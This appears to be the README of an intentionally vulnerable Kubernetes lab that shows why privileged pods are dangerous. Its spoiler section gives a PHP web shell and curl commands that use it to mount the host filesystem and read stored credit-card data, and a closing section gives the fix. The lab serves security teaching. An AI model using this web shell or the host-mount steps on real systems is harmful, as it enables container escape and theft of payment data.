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Privileged Pod

Context

Privileged pod (AKA privileged) is one of the Security Context flags for a Pod or Container. Privileged containers can do nearly everything a process on the host can do, and provide no isolation from other workloads. This kind of a setting should be avoided where possible.

Env components

Web

Vulnerable application with RCE and privileged access.

  • Deployment - k8s/PrivilegedPod/web/deployment.yaml

    This k8s deployment contains the unsecured instruction privileged: true

  • Service - k8s/PrivilegedPod/web/service.yaml

Payment

Payments processing microservice. Completely protected ;).

  • Deployment - k8s/PrivilegedPod/payment/deployment.yaml
  • Service - k8s/PrivilegedPod/payment/service.yaml

Exploit

Spoiler alert

Your target is to steal users credit cards. Cards data is located in payment microservice (which has no security issues). But web microservice has an RCE vulnerability (and has privileged). This allows us to access any data in the cluster, including cards data.

  1. Upload file shell.php: 
    <?php
echo '<pre>';
var_dump(system($_GET['cmd']));
echo '</pre>';
?>
  2. Create temporary directory for host file system curl http://192.168.99.100/upload/fe84f884761716f9e641479e992c4c6f.php?cmd=mkdir%20/tmp/host
  3. Mount host's file system (usually sda1 when Minikube is running on Mac / /dev/vda1 on Linux) curl http://192.168.99.100/upload/fe84f884761716f9e641479e992c4c6f.php?cmd=mount%20/dev/sda1%20/tmp/host
  4. Find file cards.json in hosts filesystem curl http://192.168.99.100/upload/fe84f884761716f9e641479e992c4c6f.php?cmd=find%20/tmp/host%20-name%20"cards.json"
  5. Get stored cards curl http://192.168.99.100/upload/fe84f884761716f9e641479e992c4c6f.php?cmd=cat%20<👆>

Fix

To fix the problem you need to remove privileged flag from web/deployment.yaml. It will not help to protect web microservice but prevent steeling of credit cards from payment microservice.